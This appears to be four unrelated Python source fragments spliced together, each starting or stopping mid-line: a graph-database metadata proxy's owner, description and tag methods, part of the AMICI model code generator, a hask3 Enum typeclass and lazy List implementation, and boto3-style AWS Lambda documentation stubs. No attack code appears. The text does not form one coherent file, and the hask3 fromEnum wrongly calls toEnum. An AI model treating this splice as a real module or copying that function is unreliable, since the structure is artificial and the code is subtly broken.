table_uri: str, owner: str) -> None: with self.query_executor() as executor: return self._delete_owner(table_uri=table_uri, owner=owner, executor=executor) def _delete_owner(self, *, table_uri: str, owner: str, executor: ExecuteQuery) -> None: """ Delete the owner / owned_by relationship. :param table_uri: :param owner: :return: """ _expire_link(executor=executor, g=self.g, edge_label=EdgeTypes.Owner, key_property_name=self.key_property_name, vertex1_label=VertexTypes.Table, vertex1_key=table_uri, vertex2_label=VertexTypes.User, vertex2_key=owner) @timer_with_counter @overrides def add_owner(self, *, table_uri: str, owner: str) -> None: """ Update table owner informations. 1. Do a create if not exists query of the owner(user) node. 2. Do a upsert of the owner/owned_by relation. :param table_uri: :param user_id: :return: """ with self.query_executor() as executor: return self._add_owner(table_uri=table_uri, owner=owner, executor=executor) def _add_owner(self, *, table_uri: str, owner: str, executor: ExecuteQuery) -> None: _link(executor=executor, g=self.g, edge_label=EdgeTypes.Owner, key_property_name=self.key_property_name, vertex1_label=VertexTypes.Table, vertex1_key=table_uri, vertex2_label=VertexTypes.User, vertex2_key=owner) @timer_with_counter @overrides def get_table_description(self, *, table_uri: str) -> Union[str, None]: """ Get the table description based on table uri. Any exception will propagate back to api server. :param table_uri: :return: """ g = _V(g=self.g, label=VertexTypes.Table, key=table_uri). \ outE(EdgeTypes.Description.value.label).inV(). \ has('description_source', 'description'). \ values('description').fold() descriptions = self.query_executor()(query=g, get=FromResultSet.getOnly) return _safe_get(descriptions) @timer_with_counter @overrides def put_table_description(self, *, table_uri: str, description: str) -> None: """ Update table description with one from user :param table_uri: Table uri :param description: new value for table description """ with self.query_executor() as executor: return self._put_table_description(table_uri=table_uri, description=description, executor=executor) def _put_table_description(self, *, table_uri: str, description: str, executor: ExecuteQuery) -> None: description = unquote(description) # default table description is user added desc_key = make_description_uri(subject_uri=table_uri, source='description') _upsert(executor=executor, g=self.g, label=VertexTypes.Description, key=desc_key, key_property_name=self.key_property_name, description=description, description_source='description') _link(executor=executor, g=self.g, edge_label=EdgeTypes.Description, key_property_name=self.key_property_name, vertex1_label=VertexTypes.Table, vertex1_key=table_uri, vertex2_label=VertexTypes.Description, vertex2_key=desc_key) @timer_with_counter @overrides def add_tag(self, *, id: str, tag: str, tag_type: str = 'default', resource_type: ResourceType = ResourceType.Table) -> None: """ Add new tag 1. Create the node with type Tag if the node doesn't exist. 2. Create the relation between tag and table if the relation doesn't exist. :param id: :param tag: :param tag_type: :param resource_type: :return: None """ with self.query_executor() as executor: return self._add_tag(id=id, tag=tag, tag_type=tag_type, resource_type=resource_type, executor=executor) def _add_tag(self, *, id: str, tag: str, tag_type: str = 'default', resource_type: ResourceType = ResourceType.Table, executor: ExecuteQuery) -> None: vertex_id: Any = _upsert(executor=executor, g=self.g, label=VertexTypes.Tag, key=tag, key_property_name=self.key_property_name, tag_type=tag_type) vertex_type: VertexTypes = self._get_vertex_type_from_resource_type(resource_type=resource_type) _link(executor=executor, g=self.g, edge_label=EdgeTypes.Tag, key_property_name=self.key_property_name, vertex1_id=vertex_id, vertex2_label=vertex_type, vertex2_key=id) def add_badge(self, *, id: str, badge_name: str, category: str = '', resource_type: ResourceType) -> None: pass def delete_badge(self, *, id: str, badge_name: str, category: str, resource_type: ResourceType) -> None: pass @timer_with_counter @overrides def delete_tag(self, *, id: str, tag: str, tag_type: str = 'default', resource_type: ResourceType = ResourceType.Table) -> None: """ Deletes tag 1. Delete the relation between resource and the tag 2. todo(Tao): need to think about whether we should delete the tag if it is an orphan tag. :param id: :param tag: :param tag_type: {default-> normal tag, badge->non writable tag from UI} :param resource_type: :return: """ with self.query_executor() as executor: return self._delete_tag(id=id, tag=tag, tag_type=tag_type, resource_type=resource_type, executor=executor) def _delete_tag(self, *, id:
(MODELNAME.{h,cpp}). """ tpl_data = { 'MODELNAME': str(self.model_name), 'NX_RDATA': str(self.model.nx_rdata()), 'NXTRUE_RDATA': str(self.model.nx_rdata()), 'NX_SOLVER': str(self.model.nx_solver()), 'NXTRUE_SOLVER': str(self.model.nx_solver()), 'NX_SOLVER_REINIT': str(self.model.nx_solver_reinit()), 'NY': str(self.model.ny()), 'NYTRUE': str(self.model.ny()), 'NZ': '0', 'NZTRUE': '0', 'NEVENT': '0', 'NOBJECTIVE': '1', 'NW': str(len(self.model.sym('w'))), 'NDWDP': str(len(self.model.sparsesym('dwdp'))), 'NDWDX': str(len(self.model.sparsesym('dwdx'))), 'NDXDOTDW': str(len(self.model.sparsesym('dxdotdw'))), 'NDXDOTDP_EXPLICIT': str(len(self.model.sparsesym( 'dxdotdp_explicit'))), 'NDXDOTDP_IMPLICIT': str(len(self.model.sparsesym( 'dxdotdp_implicit'))), 'NDJYDY': 'std::vector<int>{%s}' % ','.join(str(len(x)) for x in self.model.sparsesym('dJydy')), 'NNZ': str(len(self.model.sparsesym('JSparse'))), 'UBW': str(self.model.nx_solver()), 'LBW': str(self.model.nx_solver()), 'NP': str(self.model.np()), 'NK': str(self.model.nk()), 'O2MODE': 'amici::SecondOrderMode::none', 'PARAMETERS': str(self.model.val('p'))[1:-1], 'FIXED_PARAMETERS': str(self.model.val('k'))[1:-1], 'PARAMETER_NAMES_INITIALIZER_LIST': self._get_symbol_name_initializer_list('p'), 'STATE_NAMES_INITIALIZER_LIST': self._get_symbol_name_initializer_list('x_rdata'), 'FIXED_PARAMETER_NAMES_INITIALIZER_LIST': self._get_symbol_name_initializer_list('k'), 'OBSERVABLE_NAMES_INITIALIZER_LIST': self._get_symbol_name_initializer_list('y'), 'PARAMETER_IDS_INITIALIZER_LIST': self._get_symbol_id_initializer_list('p'), 'STATE_IDS_INITIALIZER_LIST': self._get_symbol_id_initializer_list('x_rdata'), 'FIXED_PARAMETER_IDS_INITIALIZER_LIST': self._get_symbol_id_initializer_list('k'), 'OBSERVABLE_IDS_INITIALIZER_LIST': self._get_symbol_id_initializer_list('y'), 'REINIT_FIXPAR_INITCOND': 'true' if self.allow_reinit_fixpar_initcond else 'false', 'AMICI_VERSION_STRING': __version__, 'AMICI_COMMIT_STRING': __commit__, } for fun in [ 'w', 'dwdp', 'dwdx', 'x_rdata', 'x_solver', 'total_cl', 'dxdotdw', 'dxdotdp_explicit', 'dxdotdp_implicit', 'JSparse', 'JSparseB', 'dJydy' ]: tpl_data[f'{fun.upper()}_DEF'] = \ get_function_extern_declaration(fun, self.model_name) tpl_data[f'{fun.upper()}_IMPL'] = \ get_model_override_implementation(fun, self.model_name) if fun in sparse_functions: tpl_data[f'{fun.upper()}_COLPTRS_DEF'] = \ get_sunindex_extern_declaration(fun, self.model_name, 'colptrs') tpl_data[f'{fun.upper()}_COLPTRS_IMPL'] = \ get_sunindex_override_implementation(fun, self.model_name, 'colptrs') tpl_data[f'{fun.upper()}_ROWVALS_DEF'] = \ get_sunindex_extern_declaration(fun, self.model_name, 'rowvals') tpl_data[f'{fun.upper()}_ROWVALS_IMPL'] = \ get_sunindex_override_implementation(fun, self.model_name, 'rowvals') if self.model.nx_solver() == self.model.nx_rdata(): tpl_data['X_RDATA_DEF'] = '' tpl_data['X_RDATA_IMPL'] = '' apply_template( os.path.join(amiciSrcPath, 'model_header.ODE_template.h'), os.path.join(self.model_path, f'{self.model_name}.h'), tpl_data ) apply_template( os.path.join(amiciSrcPath, 'model.ODE_template.cpp'), os.path.join(self.model_path, f'{self.model_name}.cpp'), tpl_data ) def _get_symbol_name_initializer_list(self, name: str) -> str: """ Get SBML name initializer list for vector of names for the given model entity :param name: any key present in self.model._syms :return: Template initializer list of names """ return '\n'.join( [ f'"{symbol}",' for symbol in self.model.name(name) ] ) def _get_symbol_id_initializer_list(self, name: str) -> str: """ Get C++ initializer list for vector of names for the given model entity :param name: any key present in self.model._syms :return: Template initializer list of ids """ return '\n'.join( [ f'"{strip_pysb(symbol)}",' for symbol in self.model.sym(name) ] ) def _write_c_make_file(self): """ Write CMake CMakeLists.txt file for this model. """ sources = [self.model_name + '_' + function + '.cpp ' for function in self.functions.keys() if self.functions[function].get('body', None) is not None] # add extra source files for sparse matrices for function in sparse_functions: sources.append(self.model_name + '_' + function + '_colptrs.cpp') sources.append(self.model_name + '_' + function + '_rowvals.cpp ') sources.append(f'{self.model_name}.cpp') template_data = {'MODELNAME': self.model_name, 'SOURCES': '\n'.join(sources), 'AMICI_VERSION': __version__} apply_template( MODEL_CMAKE_TEMPLATE_FILE, os.path.join(self.model_path, 'CMakeLists.txt'), template_data ) def _write_swig_files(self) -> None: """ Write SWIG interface files for this model. """ if not os.path.exists(self.model_swig_path): os.makedirs(self.model_swig_path) template_data = {'MODELNAME': self.model_name} apply_template( os.path.join(amiciSwigPath, 'modelname.template.i'), os.path.join(self.model_swig_path, self.model_name + '.i'), template_data ) shutil.copy(SWIG_CMAKE_TEMPLATE_FILE, os.path.join(self.model_swig_path, 'CMakeLists.txt')) def _write_module_setup(self) -> None: """ Create a distutils setup.py file for compile the model module. """ template_data = {'MODELNAME': self.model_name, 'AMICI_VERSION': __version__, 'PACKAGE_VERSION': '0.1.0'} apply_template(os.path.join(amiciModulePath, 'setup.template.py'), os.path.join(self.model_path, 'setup.py'), template_data) apply_template(os.path.join(amiciModulePath, 'MANIFEST.template.in'), os.path.join(self.model_path, 'MANIFEST.in'), {}) # write __init__.py for the model module if not os.path.exists(os.path.join(self.model_path, self.model_name)): os.makedirs(os.path.join(self.model_path, self.model_name)) apply_template( os.path.join(amiciModulePath, '__init__.template.py'), os.path.join(self.model_path, self.model_name, '__init__.py'), template_data ) def set_paths(self, output_dir: str) -> None: """ Set output paths for the model and create if necessary :param output_dir: relative or absolute path where the generated model code is to be placed. will be created if does not exists. """ self.model_path = os.path.abspath(output_dir) self.model_swig_path = os.path.join(self.model_path, 'swig') for directory in [self.model_path, self.model_swig_path]: if not os.path.exists(directory): os.makedirs(directory) def set_name(self, model_name: str) -> None: """ Sets the model name :param model_name: name of the model (may only contain upper and lower case letters, digits and underscores, and must not start with a digit) """ if not is_valid_identifier(model_name): raise ValueError( f"'{model_name}' is not a valid model name. " "Model name may only contain upper and lower case letters, " "digits and underscores, and must not start with a digit.") self.model_name = model_name def get_symbolic_diagonal(matrix: sp.Matrix) -> sp.Matrix: """ Get symbolic matrix with diagonal of matrix `matrix`. :param matrix: Matrix from which to return the diagonal :return: A Symbolic matrix with the diagonal of `matrix`. """ if not matrix.cols == matrix.rows: raise ValueError('Provided matrix is not square!') diagonal = [matrix[index, index] for index in range(matrix.cols)] return sp.Matrix(diagonal) class TemplateAmici(Template): """ Template format used in AMICI (see string.template for more details). :ivar delimiter: delimiter that identifies template variables """ delimiter = 'TPL_' def apply_template(source_file: str, target_file: str, template_data: Dict[str, str]) -> None: """ Load source file, apply template substitution as provided in templateData and save as targetFile. :param source_file: relative or absolute path to template file :param target_file: relative or absolute path to output file :param template_data: template keywords to substitute (key is template variable without :attr:`TemplateAmici.delimiter`) """ with open(source_file) as filein: src = TemplateAmici(filein.read()) result = src.safe_substitute(template_data) with open(target_file, 'w') as fileout: fileout.write(result) def strip_pysb(symbol: sp.Basic) -> sp.Basic: """ Strips pysb info from a :class:`pysb.Component` object :param symbol: symbolic expression :return: stripped expression """ # strip pysb type and transform into a flat sympy.Symbol. # this ensures that the pysb type specific __repr__ is used when converting # to string if pysb and isinstance(symbol, pysb.Component): return sp.Symbol(symbol.name, real=True) else: # in this case we will use sympy specific transform anyways return symbol def get_function_extern_declaration(fun: str, name: str) -> str: """ Constructs the extern function declaration for a given function :param fun: function name :param name: model name :return: c++ function definition string """ return \ f'extern void {fun}_{name}{functions[fun]["signature"]};' def get_sunindex_extern_declaration(fun: str, name: str, indextype: str) -> str: """ Constructs the function declaration for an index function of a given function :param fun: function name :param name: model name :param indextype: index function {'colptrs', 'rowvals'} :return: c++ function declaration string """ index_arg = ', int index' if fun in multiobs_functions else '' return \ f'extern void {fun}_{indextype}_{name}' \ f'(sunindextype *{indextype}{index_arg});' def get_model_override_implementation(fun: str, name: str) -> str: """ Constructs amici::Model::* override implementation for a given function :param fun: function name :param name: model name :return: c++ function implementation string """ return \ 'virtual void f{fun}{signature} override {{\n' \ '{ind8}{fun}_{name}{eval_signature};\n' \ '{ind4}}}\n'.format( ind4=' '*4, ind8=' '*8, fun=fun, name=name, signature=functions[fun]["signature"], eval_signature=remove_typedefs(functions[fun]["signature"]) ) def get_sunindex_override_implementation(fun: str, name: str, indextype: str) -> str: """ Constructs the amici::Model:: function implementation for an index function of a given function :param fun: function name :param name: model name :param indextype: index function {'colptrs', 'rowvals'} :return: c++ function implementation string """ index_arg = ', int index' if fun in multiobs_functions else '' index_arg_eval = ', index' if fun in multiobs_functions else '' return \ 'virtual void f{fun}_{indextype}{signature} override {{\n' \ '{ind8}{fun}_{indextype}_{name}{eval_signature};\n' \ '{ind4}}}\n'.format( ind4=' '*4, ind8=' '*8, fun=fun, indextype=indextype, name=name, signature=f'(sunindextype *{indextype}{index_arg})', eval_signature=f'({indextype}{index_arg_eval})', ) def remove_typedefs(signature: str) -> str: """ Strips typedef info from a function signature :param signature: function signature :return: string that can be used to construct function calls with the same variable names and ordering as in the function signature """ # remove * pefix for pointers (pointer must always be removed before # values otherwise we will inadvertently dereference values, # same applies for const specifications) # # always add whitespace after type definition for cosmetic reasons typedefs = [ 'const realtype *', 'const double *', 'const realtype ', 'double *', 'realtype *', 'const int ', 'int ', 'SUNMatrixContent_Sparse ', ] for typedef in typedefs: signature = signature.replace(typedef, ' ') return signature def get_switch_statement(condition: str, cases: Dict[int, List[str]], indentation_level: Optional[int] = 0, indentation_step: Optional[str] = ' ' * 4): """ Generate code for switch statement :param condition: Condition for switch :param cases: Cases as dict with expressions as keys and statement as list of strings :param indentation_level: indentation level :param indentation_step: indentation whitespace per level :return: Code for switch expression as list of strings """ lines = list() if not cases: return lines for expression, statements in cases.items(): if statements: lines.append((indentation_level + 1) * indentation_step + f'case {expression}:') for statement in statements: lines.append((indentation_level + 2) * indentation_step + statement) lines.append((indentation_level + 2) * indentation_step + 'break;') if lines: lines.insert(0, indentation_level * indentation_step + f'switch({condition}) {{') lines.append(indentation_level * indentation_step + '}') return lines def csc_matrix(matrix: sp.Matrix, name: str, base_index: Optional[int] = 0, pattern_only: Optional[bool] = False) -> Tuple[ List[int], List[int], sp.Matrix, List[str], sp.Matrix ]: """ Generates the sparse symbolic identifiers, symbolic identifiers, sparse matrix, column pointers and row values for a symbolic variable :param matrix: dense matrix to be sparsified :param name: name of the symbolic variable :param base_index:
<reponame>mvaled/hask from collections import Sequence from hask3.hack import objectify from hask3.lang.type_system import Typeclass from hask3.lang.type_system import Hask from hask3.lang.typeclasses import Show from hask3.lang.typeclasses import Eq from hask3.lang.typeclasses import Ord from hask3.lang.syntax import Syntax from hask3.lang.syntax import instance from hask3.lang.syntax import sig from hask3.lang.syntax import H # LT, EQ, GT = -1, 0, 1 try: from __builtin__ import cmp except ImportError: def cmp(a, b): if a == b: return 0 elif a < b: return -1 else: return 1 class Enum(Typeclass): """ Class Enum defines operations on sequentially ordered types. The enumFrom... methods are used in translation of arithmetic sequences. Instances of Enum may be derived for any enumeration type (types whose constructors have no fields). The nullary constructors are assumed to be numbered left-to-right by fromEnum from 0 through n-1. Attributes: - ``toEnum`` - ``fromEnum`` - ``succ`` - ``pred`` - ``enumFrom`` - ``enumFromThen`` - ``enumFrom`` - ``enumFromThenTo`` - ``EnumFromTo`` Minimal complete definition: - ``toEnum`` - ``fromEnum`` """ @classmethod def make_instance(typeclass, cls, toEnum, fromEnum): from hask3.lang.type_system import build_instance def succ(a): return toEnum(fromEnum(a) + 1) def pred(a): return toEnum(fromEnum(a) - 1) def enumFromThen(start, second): pointer = fromEnum(start) step = fromEnum(second) - pointer while True: yield toEnum(pointer) pointer += step def enumFrom(start): return enumFromThen(start, succ(start)) def enumFromThenTo(start, second, end): if start == end: yield start return elif (second >= start > end) or (second <= start < end): return pointer, stop = fromEnum(start), fromEnum(end) step = fromEnum(second) - pointer while (start < end and pointer <= stop) or \ (start > end and pointer >= stop): yield toEnum(pointer) pointer += step def enumFromTo(start, end): second = succ(start) if start < end else pred(start) return enumFromThenTo(start, second, end) attrs = {"toEnum": toEnum, "fromEnum": fromEnum, "succ": succ, "pred": pred, "enumFromThen": enumFromThen, "enumFrom": enumFrom, "enumFromThenTo": enumFromThenTo, "enumFromTo": enumFromTo} build_instance(Enum, cls, attrs) @sig(H/ "a" >> int) def fromEnum(a): """``fromEnum :: a -> int`` Convert to an int. """ return Enum[a].toEnum(a) @sig(H/ "a" >> "a") def succ(a): """``succ :: a -> a`` the successor of a value. For numeric types, succ adds 1. """ return Enum[a].succ(a) @sig(H/ "a" >> "a") def pred(a): """ pred :: a -> a the predecessor of a value. For numeric types, pred subtracts 1. """ return Enum[a].pred(a) @sig(H/ "a" >> "a" >> ["a"]) def enumFromThen(start, second): """``enumFromThen :: a -> a -> [a]`` Used in translation of ``[n, n_, ...]``. """ return L[Enum[start].enumFromThen(start, second)] @sig(H/ "a" >> ["a"]) def enumFrom(start): """``enumFrom :: a -> [a]`` Used in translation of L[n, ...] """ return L[Enum[start].enumFrom(start)] @sig(H/ "a" >> "a" >> "a" >> ["a"]) def enumFromThenTo(start, second, end): """``enumFromThenTo :: a -> a -> a -> [a]`` Used in translation of ``L[n, n_, ..., m]``. """ return L[Enum[start].enumFromThenTo(start, second, end)] @sig(H/ "a" >> "a" >> ["a"]) def enumFromTo(start, end): """``enumFromTo :: a -> a -> [a]`` Used in translation of L[n, ..., m] """ return L[Enum[start].enumFromTo(start, end)] instance(Enum, int).where(fromEnum=int, toEnum=int) instance(Enum, bool).where(fromEnum=int, toEnum=bool) instance(Enum, str).where(fromEnum=ord, toEnum=chr) class List(Sequence, Hask): """Statically typed lazy sequence datatype. See `L`:obj: for more information. """ def __init__(self, head=None, tail=None): from itertools import chain from hask3.lang.type_system import typeof from hask3.lang.hindley_milner import unify if head is not None: count = len(head) if count > 0: fst = head[0] i = 1 while i < count: unify(typeof(fst), typeof(head[i])) i += 1 self.__head = list(head) else: self.__head = [] self.__is_evaluated = tail is None self.__tail = chain([] if self.__is_evaluated else tail) def __type__(self): from hask3.lang.type_system import typeof from hask3.lang.hindley_milner import TypeVariable, ListType if len(self.__head) == 0: if self.__is_evaluated: return ListType(TypeVariable()) else: self.__next() return self.__type__() else: return ListType(typeof(self[0])) def __next(self): """Evaluate the next element of the tail, and add it to the head.""" from hask3.lang.type_system import typeof from hask3.lang.hindley_milner import unify if self.__is_evaluated: raise StopIteration else: try: next_iter = next(self.__tail) if len(self.__head) > 0: unify(typeof(self[0]), typeof(next_iter)) self.__head.append(next_iter) except StopIteration: self.__is_evaluated = True def __evaluate(self): """Evaluate the entire List.""" while not self.__is_evaluated: self.__next() def __rxor__(self, item): """``^`` is the ``cons`` operator (equivalent to ``:`` in Haskell).""" from hask3.lang.type_system import typeof from hask3.lang.hindley_milner import ListType, unify unify(self.__type__(), ListType(typeof(item))) if self.__is_evaluated: return List(head=[item] + self.__head) return List(head=[item] + self.__head, tail=self.__tail) def __add__(self, other): """``(+) :: [a] -> [a] -> [a]`` ``+`` is the list concatenation operator, equivalent to ``++`` in Haskell and + for Python lists """ from itertools import chain from hask3.lang.type_system import typeof from hask3.lang.hindley_milner import unify unify(self.__type__(), typeof(other)) if self.__is_evaluated and other.__is_evaluated: return List(head=self.__head + other.__head) elif self.__is_evaluated and not other.__is_evaluated: return List(head=self.__head + other.__head, tail=other.__tail) else: return List(head=self.__head, tail=chain(self.__tail, other)) def __str__(self): from hask3.lang.typeclasses import show body = ", ".join(map(show, self.__head)) if self.__is_evaluated: if len(self.__head) <= 1: body = f'[{body}]' suffix = '' else: suffix = ' ...' return f"L[{body}{suffix}]" def __cmp__(self, other): if self.__is_evaluated and other.__is_evaluated: return cmp(self.__head, other.__head) elif len(self.__head) >= len(other.__head): # check the evaluated heads heads = zip(self.__head[:len(other.__head)], other.__head) heads_comp = ((cmp(h1, h2) for h1, h2 in heads)) for comp in heads_comp: if comp != 0: return comp # evaluate the shorter-headed list until it is the same size while len(self.__head) > len(other.__head): if other.__is_evaluated: return 1 other.__next() comp = cmp(self.__head[len(other.__head)-1], other.__head[-1]) if comp != 0: return comp # evaluate the tails, checking each time while not self.__is_evaluated or not other.__is_evaluated: if not self.__is_evaluated: self.__next() if not other.__is_evaluated: other.__next() len_comp = cmp(len(self.__head), len(other.__head)) if len_comp != 0: return len_comp if len(self.__head) > 0: value_comp = cmp(self.__head[-1], other.__head[-1]) if value_comp != 0: return value_comp elif len(other.__head) > len(self.__head): return -other.__cmp__(self) return 0 def __eq__(self, other): return self.__cmp__(other) == 0 def __lt__(self, other): return self.__cmp__(other) == -1 def __gt__(self, other): return self.__cmp__(other) == 1 def __le__(self, other): comp = self.__cmp__(other) return comp in (-1, 0) def __ge__(self, other): comp = self.__cmp__(other) return comp in (1, 0) def __len__(self): self.__evaluate() return len(self.__head) def __iter__(self): for item in self.__head: yield item for item in self.__tail: self.__head.append(item) yield item def count(self, x): from hask3.lang.type_system import typeof from hask3.lang.hindley_milner import ListType, unify unify(self.__type__(), ListType(typeof(x))) self.__evaluate() return self.__head.count(x) def index(self, x): from hask3.lang.type_system import typeof from hask3.lang.hindley_milner import ListType, unify unify(self.__type__(), ListType(typeof(x))) self.__evaluate() return self.__head.index(x) def __contains__(self, x): from hask3.hack import isin from hask3.lang.type_system import typeof from hask3.lang.hindley_milner import ListType, unify unify(self.__type__(), ListType(typeof(x))) return isin(x, iter(self)) def __getitem__(self, ix): is_slice = isinstance(ix, slice) if is_slice: i = ix.start if ix.stop is None else ix.stop else: i = ix # make sure that the list is evaluated enough to do the indexing, but # not any more than necessary # if index is negative, evaluate the entire list if i is None: # In Python 3, `None >= 0` is a TypeError, but in Python 2 returns # False. So let's go negative in any case... i = -1 if i >= 0: while (i+1) > len(self.__head): try: self.__next() except StopIteration: break else: self.__evaluate() if is_slice: if ix.stop is None and not self.__is_evaluated: return List(head=self.__head[ix], tail=self.__tail) else: return List(head=self.__head[ix]) else: return self.__head[i] # Basic typeclass instances for list instance(Show, List).where( show = List.__str__ ) instance(Eq, List).where( eq = List.__eq__ ) instance(Ord, List).where( lt = List.__lt__, gt = List.__gt__, le = List.__le__, ge = List.__ge__ ) @objectify class L(Syntax): """``L`` is for comprehensions and lazy creation of Haskell-style lists. To create a new List, just wrap an interable in ``L[ ]``. List comprehensions can be used with any instance of Enum, including the built-in types int, float, and char. There are four basic list comprehension patterns:: >>> L[1, ...] # list from 1 to infinity, counting by ones >>> L[1, 3, ...] # list from 1 to infinity, counting by twos >>> L[1, ..., 20] # list from 1 to 20 (inclusive), counting by ones >>> L[1, 5, ..., 20] # list from 1 to 20 (inclusive), counting by fours There is a semantic problem because differences between Python sequences and Haskell List. Because of that ``L[1, 2]`` will pass a tuple to `__getitem__` magic, but ``L[1]`` will not. To avoid, as much as possible, this issue related with two phrases with equivalent denotations, singular elements will be converted to lists. The logic to test if a given value is singular
time that a user last updated the configuration, in ISO 8601 format . Exceptions Lambda.Client.exceptions.InvalidParameterValueException Lambda.Client.exceptions.ResourceNotFoundException Lambda.Client.exceptions.ResourceConflictException Lambda.Client.exceptions.TooManyRequestsException Lambda.Client.exceptions.ServiceException Examples The following example allocates 100 provisioned concurrency for the BLUE alias of the specified function. response = client.put_provisioned_concurrency_config( FunctionName='my-function', ProvisionedConcurrentExecutions=100, Qualifier='BLUE', ) print(response) Expected Output: { 'AllocatedProvisionedConcurrentExecutions': 0, 'LastModified': '2019-11-21T19:32:12+0000', 'RequestedProvisionedConcurrentExecutions': 100, 'Status': 'IN_PROGRESS', 'ResponseMetadata': { '...': '...', }, } :return: { 'RequestedProvisionedConcurrentExecutions': 123, 'AvailableProvisionedConcurrentExecutions': 123, 'AllocatedProvisionedConcurrentExecutions': 123, 'Status': 'IN_PROGRESS'|'READY'|'FAILED', 'StatusReason': 'string', 'LastModified': 'string' } :returns: Lambda.Client.exceptions.InvalidParameterValueException Lambda.Client.exceptions.ResourceNotFoundException Lambda.Client.exceptions.ResourceConflictException Lambda.Client.exceptions.TooManyRequestsException Lambda.Client.exceptions.ServiceException """ pass def remove_layer_version_permission(LayerName=None, VersionNumber=None, StatementId=None, RevisionId=None): """ Removes a statement from the permissions policy for a version of an AWS Lambda layer . For more information, see AddLayerVersionPermission . See also: AWS API Documentation Exceptions Examples The following example deletes permission for an account to configure a layer version. Expected Output: :example: response = client.remove_layer_version_permission( LayerName='string', VersionNumber=123, StatementId='string', RevisionId='string' ) :type LayerName: string :param LayerName: [REQUIRED]\nThe name or Amazon Resource Name (ARN) of the layer.\n :type VersionNumber: integer :param VersionNumber: [REQUIRED]\nThe version number.\n :type StatementId: string :param StatementId: [REQUIRED]\nThe identifier that was specified when the statement was added.\n :type RevisionId: string :param RevisionId: Only update the policy if the revision ID matches the ID specified. Use this option to avoid modifying a policy that has changed since you last read it. :return: response = client.remove_layer_version_permission( LayerName='my-layer', StatementId='xaccount', VersionNumber=1, ) print(response) :returns: Lambda.Client.exceptions.ServiceException Lambda.Client.exceptions.ResourceNotFoundException Lambda.Client.exceptions.InvalidParameterValueException Lambda.Client.exceptions.TooManyRequestsException Lambda.Client.exceptions.PreconditionFailedException """ pass def remove_permission(FunctionName=None, StatementId=None, Qualifier=None, RevisionId=None): """ Revokes function-use permission from an AWS service or another account. You can get the ID of the statement from the output of GetPolicy . See also: AWS API Documentation Exceptions Examples The following example removes a permissions statement named xaccount from the PROD alias of a function named my-function. Expected Output: :example: response = client.remove_permission( FunctionName='string', StatementId='string', Qualifier='string', RevisionId='string' ) :type FunctionName: string :param FunctionName: [REQUIRED]\nThe name of the Lambda function, version, or alias.\n\nName formats\n\nFunction name - my-function (name-only), my-function:v1 (with alias).\nFunction ARN - arn:aws:lambda:us-west-2:123456789012:function:my-function .\nPartial ARN - 123456789012:function:my-function .\n\nYou can append a version number or alias to any of the formats. The length constraint applies only to the full ARN. If you specify only the function name, it is limited to 64 characters in length.\n :type StatementId: string :param StatementId: [REQUIRED]\nStatement ID of the permission to remove.\n :type Qualifier: string :param Qualifier: Specify a version or alias to remove permissions from a published version of the function. :type RevisionId: string :param RevisionId: Only update the policy if the revision ID matches the ID that\'s specified. Use this option to avoid modifying a policy that has changed since you last read it. :return: response = client.remove_permission( FunctionName='my-function', Qualifier='PROD', StatementId='xaccount', ) print(response) :returns: Lambda.Client.exceptions.ServiceException Lambda.Client.exceptions.ResourceNotFoundException Lambda.Client.exceptions.InvalidParameterValueException Lambda.Client.exceptions.TooManyRequestsException Lambda.Client.exceptions.PreconditionFailedException """ pass def tag_resource(Resource=None, Tags=None): """ Adds tags to a function. See also: AWS API Documentation Exceptions Examples The following example adds a tag with the key name DEPARTMENT and a value of \'Department A\' to the specified Lambda function. Expected Output: :example: response = client.tag_resource( Resource='string', Tags={ 'string': 'string' } ) :type Resource: string :param Resource: [REQUIRED]\nThe function\'s Amazon Resource Name (ARN).\n :type Tags: dict :param Tags: [REQUIRED]\nA list of tags to apply to the function.\n\n(string) --\n(string) --\n\n\n\n :return: response = client.tag_resource( Resource='arn:aws:lambda:us-west-2:123456789012:function:my-function', Tags={ 'DEPARTMENT': 'Department A', }, ) print(response) :returns: Lambda.Client.exceptions.ServiceException Lambda.Client.exceptions.ResourceNotFoundException Lambda.Client.exceptions.InvalidParameterValueException Lambda.Client.exceptions.TooManyRequestsException Lambda.Client.exceptions.ResourceConflictException """ pass def untag_resource(Resource=None, TagKeys=None): """ Removes tags from a function. See also: AWS API Documentation Exceptions Examples The following example removes the tag with the key name DEPARTMENT tag from the my-function Lambda function. Expected Output: :example: response = client.untag_resource( Resource='string', TagKeys=[ 'string', ] ) :type Resource: string :param Resource: [REQUIRED]\nThe function\'s Amazon Resource Name (ARN).\n :type TagKeys: list :param TagKeys: [REQUIRED]\nA list of tag keys to remove from the function.\n\n(string) --\n\n :return: response = client.untag_resource( Resource='arn:aws:lambda:us-west-2:123456789012:function:my-function', TagKeys=[ 'DEPARTMENT', ], ) print(response) :returns: Lambda.Client.exceptions.ServiceException Lambda.Client.exceptions.ResourceNotFoundException Lambda.Client.exceptions.InvalidParameterValueException Lambda.Client.exceptions.TooManyRequestsException Lambda.Client.exceptions.ResourceConflictException """ pass def update_alias(FunctionName=None, Name=None, FunctionVersion=None, Description=None, RoutingConfig=None, RevisionId=None): """ Updates the configuration of a Lambda function alias . See also: AWS API Documentation Exceptions Examples The following example updates the alias named BLUE to send 30% of traffic to version 2 and 70% to version 1. Expected Output: :example: response = client.update_alias( FunctionName='string', Name='string', FunctionVersion='string', Description='string', RoutingConfig={ 'AdditionalVersionWeights': { 'string': 123.0 } }, RevisionId='string' ) :type FunctionName: string :param FunctionName: [REQUIRED]\nThe name of the Lambda function.\n\nName formats\n\nFunction name - MyFunction .\nFunction ARN - arn:aws:lambda:us-west-2:123456789012:function:MyFunction .\nPartial ARN - 123456789012:function:MyFunction .\n\nThe length constraint applies only to the full ARN. If you specify only the function name, it is limited to 64 characters in length.\n :type Name: string :param Name: [REQUIRED]\nThe name of the alias.\n :type FunctionVersion: string :param FunctionVersion: The function version that the alias invokes. :type Description: string :param Description: A description of the alias. :type RoutingConfig: dict :param RoutingConfig: The routing configuration of the alias.\n\nAdditionalVersionWeights (dict) --The name of the second alias, and the percentage of traffic that\'s routed to it.\n\n(string) --\n(float) --\n\n\n\n\n\n :type RevisionId: string :param RevisionId: Only update the alias if the revision ID matches the ID that\'s specified. Use this option to avoid modifying an alias that has changed since you last read it. :rtype: dict ReturnsResponse Syntax { 'AliasArn': 'string', 'Name': 'string', 'FunctionVersion': 'string', 'Description': 'string', 'RoutingConfig': { 'AdditionalVersionWeights': { 'string': 123.0 } }, 'RevisionId': 'string' } Response Structure (dict) -- Provides configuration information about a Lambda function alias . AliasArn (string) -- The Amazon Resource Name 